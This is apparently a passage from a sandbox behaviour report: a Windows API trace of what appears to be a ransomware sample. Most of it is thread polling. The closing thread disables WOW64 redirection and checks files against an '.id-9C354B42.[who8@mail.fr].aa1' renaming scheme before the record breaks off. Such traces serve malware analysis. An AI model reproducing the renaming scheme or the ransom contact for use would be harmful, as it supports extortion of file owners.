[0211.380] GetTickCount () returned 0x3479a [0211.380] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0211.510] GetTickCount () returned 0x34826 [0211.510] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0211.686] GetTickCount () returned 0x348d2 [0211.686] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0211.808] GetTickCount () returned 0x3494e [0211.808] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0211.947] GetTickCount () returned 0x349db [0211.947] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0212.114] GetTickCount () returned 0x34a77 [0212.114] GetTickCount () returned 0x34a77 [0212.114] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0212.291] GetTickCount () returned 0x34b32 [0212.291] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0212.467] GetTickCount () returned 0x34bde [0212.467] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0212.571] GetTickCount () returned 0x34c4b [0212.572] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0212.680] GetTickCount () returned 0x34cb8 [0212.680] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0212.791] GetTickCount () returned 0x34d25 [0212.791] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0212.906] GetTickCount () returned 0x34d92 [0212.906] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0213.010] GetTickCount () returned 0x34e00 [0213.010] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0213.117] GetTickCount () returned 0x34e6d [0213.117] GetTickCount () returned 0x34e6d [0213.117] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0213.232] GetTickCount () returned 0x34eda [0213.232] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0213.336] GetTickCount () returned 0x34f47 [0213.336] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0213.445] GetTickCount () returned 0x34fb4 [0213.445] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0213.571] GetTickCount () returned 0x35031 [0213.571] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0213.679] GetTickCount () returned 0x3509e [0213.679] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0213.932] GetTickCount () returned 0x35198 [0213.932] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0214.100] GetTickCount () returned 0x35244 [0214.100] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0214.457] GetTickCount () returned 0x3539b [0214.457] GetTickCount () returned 0x3539b [0214.457] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0214.738] GetTickCount () returned 0x354b4 [0214.738] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0214.916] GetTickCount () returned 0x3556f [0214.916] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0215.062] GetTickCount () returned 0x355fb [0215.062] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0217.597] GetTickCount () returned 0x35705 [0217.597] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0218.518] GetTickCount () returned 0x357a1 [0218.518] GetTickCount () returned 0x357a1 [0218.518] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0218.670] GetTickCount () returned 0x3583d [0218.670] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0218.809] GetTickCount () returned 0x358c9 [0218.809] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0218.921] GetTickCount () returned 0x35946 [0218.921] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0219.032] GetTickCount () returned 0x359b3 [0219.032] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0219.139] GetTickCount () returned 0x35a20 [0219.139] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0219.248] GetTickCount () returned 0x35a8d [0219.248] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0219.357] GetTickCount () returned 0x35afb [0219.357] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0219.804] GetTickCount () returned 0x35bc5 [0219.804] GetTickCount () returned 0x35bc5 [0219.804] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0219.903] GetTickCount () returned 0x35c33 [0219.903] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.012] GetTickCount () returned 0x35ca0 [0220.012] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.122] GetTickCount () returned 0x35d0d [0220.122] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.231] GetTickCount () returned 0x35d7a [0220.231] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.340] GetTickCount () returned 0x35de7 [0220.340] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.591] GetTickCount () returned 0x35ee1 [0220.591] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.786] GetTickCount () returned 0x35f9c [0220.786] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.957] GetTickCount () returned 0x36048 [0220.957] GetTickCount () returned 0x36048 [0220.957] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.132] GetTickCount () returned 0x360f3 [0221.132] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.419] GetTickCount () returned 0x3621c [0221.419] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.579] GetTickCount () returned 0x362b8 [0221.579] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.750] GetTickCount () returned 0x36363 [0221.750] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.861] GetTickCount () returned 0x363d1 [0221.861] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.962] GetTickCount () returned 0x3643e [0221.962] GetTickCount () returned 0x3643e [0221.962] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0222.116] GetTickCount () returned 0x364ca [0222.116] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0222.279] GetTickCount () returned 0x36576 [0222.279] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0222.657] GetTickCount () returned 0x366ec [0222.657] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0222.762] GetTickCount () returned 0x36759 [0222.762] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0223.075] GetTickCount () returned 0x36891 [0223.075] GetTickCount () returned 0x36891 [0223.075] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0223.872] GetTickCount () returned 0x36bad [0223.872] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0224.315] GetTickCount () returned 0x36d62 [0224.315] GetTickCount () returned 0x36d62 [0224.315] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0224.617] GetTickCount () returned 0x36e9a [0224.617] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0224.959] GetTickCount () returned 0x36ff1 [0224.959] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0225.341] GetTickCount () returned 0x37167 [0225.342] GetTickCount () returned 0x37167 [0225.342] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0225.629] GetTickCount () returned 0x37290 [0225.629] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0225.863] GetTickCount () returned 0x3737a [0225.863] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0226.113] GetTickCount () returned 0x37473 [0226.113] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0226.261] GetTickCount () returned 0x37500 [0226.261] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0xb88 [0193.799] GetTickCount () returned 0x31d8e [0193.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x53bf78 [0193.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53bf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118 [0193.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53bf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0193.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53bf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0193.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53bf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0193.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5403d8 [0193.805] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5403d8, Size=0x20) returned 0x56fa48 [0193.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5403d8 [0193.805] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5403d8, Size=0x20) returned 0x56fa70 [0193.806] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0193.806] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0193.806] Wow64DisableWow64FsRedirection (in: OldValue=0x269ff84 | out: OldValue=0x269ff84*=0x0) returned 1 [0193.806] lstrlenW (lpString="kernel32.dll") returned 12 [0193.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fa48 | out: hHeap=0x4f0000) returned 1 [0193.806] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fa70 | out: hHeap=0x4f0000) returned 1 [0193.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x54d5a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0193.807] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0194.148] GetTickCount () returned 0x31e0a [0194.148] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0194.980] GetTickCount () returned 0x31e78 [0194.980] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0195.111] GetTickCount () returned 0x31ef4 [0195.112] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0196.613] GetTickCount () returned 0x31fb0 [0196.613] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0196.903] GetTickCount () returned 0x3202c [0196.903] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0197.689] GetTickCount () returned 0x3209a [0197.689] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0197.821] GetTickCount () returned 0x32116 [0197.821] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0198.818] GetTickCount () returned 0x32200 [0198.818] GetTickCount () returned 0x32200 [0198.818] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0199.280] GetTickCount () returned 0x32386 [0199.280] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0199.474] GetTickCount () returned 0x32442 [0199.474] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0199.602] GetTickCount () returned 0x324be [0199.602] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0199.748] GetTickCount () returned 0x3255a [0199.748] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0199.941] GetTickCount () returned 0x325f6 [0199.941] GetTickCount () returned 0x325f6 [0199.941] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0200.044] GetTickCount () returned 0x32664 [0200.044] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0200.315] GetTickCount () returned 0x3276d [0200.315] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0200.662] GetTickCount () returned 0x32895 [0200.662] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0201.173] GetTickCount () returned 0x32a98 [0201.173] GetTickCount () returned 0x32a98 [0201.173] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0201.768] GetTickCount () returned 0x32c4d [0201.768] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0202.578] GetTickCount () returned 0x32e02 [0202.578] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0203.001] GetTickCount () returned 0x32fa7 [0203.001] GetTickCount () returned 0x32fa7 [0203.002] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0203.321] GetTickCount () returned 0x330ee [0203.321] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0205.192] GetTickCount () returned 0x332f1 [0205.193] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0205.604] GetTickCount () returned 0x333ac [0205.604] GetTickCount () returned 0x333ac [0205.604] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0205.825] GetTickCount () returned 0x33477 [0205.826] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0206.052] GetTickCount () returned 0x33561 [0206.052] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0206.392] GetTickCount () returned 0x3367a [0206.392] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0206.847] GetTickCount () returned 0x337b2 [0206.847] GetTickCount () returned 0x337b2 [0206.847] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0207.127] GetTickCount () returned 0x3389c [0207.127] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0207.593] GetTickCount () returned 0x339e4 [0207.593] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0207.958] GetTickCount () returned 0x33add [0207.958] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0208.115] GetTickCount () returned 0x33b79 [0208.115] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0208.518] GetTickCount () returned 0x33d0f [0208.518] GetTickCount () returned 0x33d0f [0208.518] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0208.905] GetTickCount () returned 0x33e47 [0208.905] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0209.032] GetTickCount () returned 0x33ed3 [0209.032] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0209.335] GetTickCount () returned 0x33ffc [0209.335] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0209.804] GetTickCount () returned 0x341d0 [0209.804] GetTickCount () returned 0x341d0 [0209.804] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0210.118] GetTickCount () returned 0x34308 [0210.118] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0210.418] GetTickCount () returned 0x343e2 [0210.418] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0210.529] GetTickCount () returned 0x3444f [0210.529] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0210.637] GetTickCount () returned 0x344bc [0210.637] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0210.746] GetTickCount () returned 0x3452a [0210.746] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0210.855] GetTickCount () returned 0x34597 [0210.855] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0211.000] GetTickCount () returned 0x34623 [0211.000] GetTickCount () returned 0x34623 [0211.000] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0211.205] GetTickCount () returned 0x346ee [0211.205] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0211.380] GetTickCount () returned 0x3479a [0211.380] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0211.510] GetTickCount () returned 0x34826 [0211.510] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0211.686] GetTickCount () returned 0x348d2 [0211.686] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0211.808] GetTickCount () returned 0x3494e [0211.808] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0211.947] GetTickCount () returned 0x349db [0211.947] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0212.114] GetTickCount () returned 0x34a77 [0212.114] GetTickCount () returned 0x34a77 [0212.114] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0212.290] GetTickCount () returned 0x34b32 [0212.291] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0212.467] GetTickCount () returned 0x34bde [0212.467] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0212.571] GetTickCount () returned 0x34c4b [0212.571] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0212.680] GetTickCount () returned 0x34cb8 [0212.680] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0212.790] GetTickCount () returned 0x34d25 [0212.790] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0212.906] GetTickCount () returned 0x34d92 [0212.906] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0213.010] GetTickCount () returned 0x34e00 [0213.010] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0213.118] GetTickCount () returned 0x34e6d [0213.118] GetTickCount () returned 0x34e6d [0213.118] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0213.232] GetTickCount () returned 0x34eda [0213.232] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0213.336] GetTickCount () returned 0x34f47 [0213.336] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0213.445] GetTickCount () returned 0x34fb4 [0213.445] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0213.571] GetTickCount () returned 0x35031 [0213.572] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0213.679] GetTickCount () returned 0x3509e [0213.679] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0213.932] GetTickCount () returned 0x35198 [0213.932] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0214.100] GetTickCount () returned 0x35244 [0214.100] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0214.457] GetTickCount () returned 0x3539b [0214.457] GetTickCount () returned 0x3539b [0214.457] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0214.737] GetTickCount () returned 0x354b4 [0214.737] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0214.916] GetTickCount () returned 0x3556f [0214.916] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0215.062] GetTickCount () returned 0x355fb [0215.062] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0217.597] GetTickCount () returned 0x35705 [0217.597] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0218.518] GetTickCount () returned 0x357a1 [0218.518] GetTickCount () returned 0x357a1 [0218.518] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0218.670] GetTickCount () returned 0x3583d [0218.670] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0218.809] GetTickCount () returned 0x358c9 [0218.809] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0218.921] GetTickCount () returned 0x35946 [0218.921] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0219.032] GetTickCount () returned 0x359b3 [0219.032] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0219.139] GetTickCount () returned 0x35a20 [0219.139] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0219.248] GetTickCount () returned 0x35a8d [0219.248] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0219.357] GetTickCount () returned 0x35afb [0219.357] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0219.804] GetTickCount () returned 0x35bc5 [0219.804] GetTickCount () returned 0x35bc5 [0219.804] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0219.903] GetTickCount () returned 0x35c33 [0219.903] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.013] GetTickCount () returned 0x35ca0 [0220.013] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.122] GetTickCount () returned 0x35d0d [0220.122] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.231] GetTickCount () returned 0x35d7a [0220.231] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.340] GetTickCount () returned 0x35de7 [0220.340] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.591] GetTickCount () returned 0x35ee1 [0220.592] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.785] GetTickCount () returned 0x35f9c [0220.785] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.956] GetTickCount () returned 0x36048 [0220.956] GetTickCount () returned 0x36048 [0220.956] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.132] GetTickCount () returned 0x360f3 [0221.132] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.419] GetTickCount () returned 0x3621c [0221.419] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.579] GetTickCount () returned 0x362b8 [0221.579] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.750] GetTickCount () returned 0x36363 [0221.750] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.861] GetTickCount () returned 0x363d1 [0221.861] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.962] GetTickCount () returned 0x3643e [0221.962] GetTickCount () returned 0x3643e [0221.963] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0222.116] GetTickCount () returned 0x364ca [0222.116] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0222.279] GetTickCount () returned 0x36576 [0222.279] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0222.657] GetTickCount () returned 0x366ec [0222.657] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0222.762] GetTickCount () returned 0x36759 [0222.762] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0223.076] GetTickCount () returned 0x36891 [0223.076] GetTickCount () returned 0x36891 [0223.076] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0223.872] GetTickCount () returned 0x36bad [0223.872] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0224.316] GetTickCount () returned 0x36d62 [0224.316] GetTickCount () returned 0x36d62 [0224.316] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0224.617] GetTickCount () returned 0x36e9a [0224.617] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0224.959] GetTickCount () returned 0x36ff1 [0224.959] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0225.341] GetTickCount () returned 0x37167 [0225.341] GetTickCount () returned 0x37167 [0225.341] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0225.629] GetTickCount () returned 0x37290 [0225.629] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0225.863] GetTickCount () returned 0x3737a [0225.863] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0226.113] GetTickCount () returned 0x37473 [0226.113] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0226.261] GetTickCount () returned 0x37500 [0226.261] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) Thread: id = 9 os_tid = 0xb94 [0195.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x570440 [0195.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x580448 [0195.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540438 [0195.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x52a368 [0195.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540450 [0195.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3520020 [0195.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540468 [0195.022] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540468, Size=0x20) returned 0x56fac0 [0195.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540468 [0195.022] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540468, Size=0x20) returned 0x56fae8 [0195.022] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0195.022] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0195.022] Wow64DisableWow64FsRedirection (in: OldValue=0x239ff58 | out: OldValue=0x239ff58*=0x0) returned 1 [0195.022] lstrlenW (lpString="kernel32.dll") returned 12 [0195.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fac0 | out: hHeap=0x4f0000) returned 1 [0195.022] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0195.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fae8 | out: hHeap=0x4f0000) returned 1 [0195.022] Sleep (dwMilliseconds=0x64) [0195.216] Sleep (dwMilliseconds=0x64) [0196.663] Sleep (dwMilliseconds=0x64) [0197.681] Sleep (dwMilliseconds=0x64) [0197.790] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0197.790] lstrlenW (lpString="Setup.xml") returned 9 [0197.790] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0197.811] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=2296) returned 1 [0197.811] CloseHandle (hObject=0x198) returned 1 [0197.811] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0197.811] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0197.811] CreateFileW 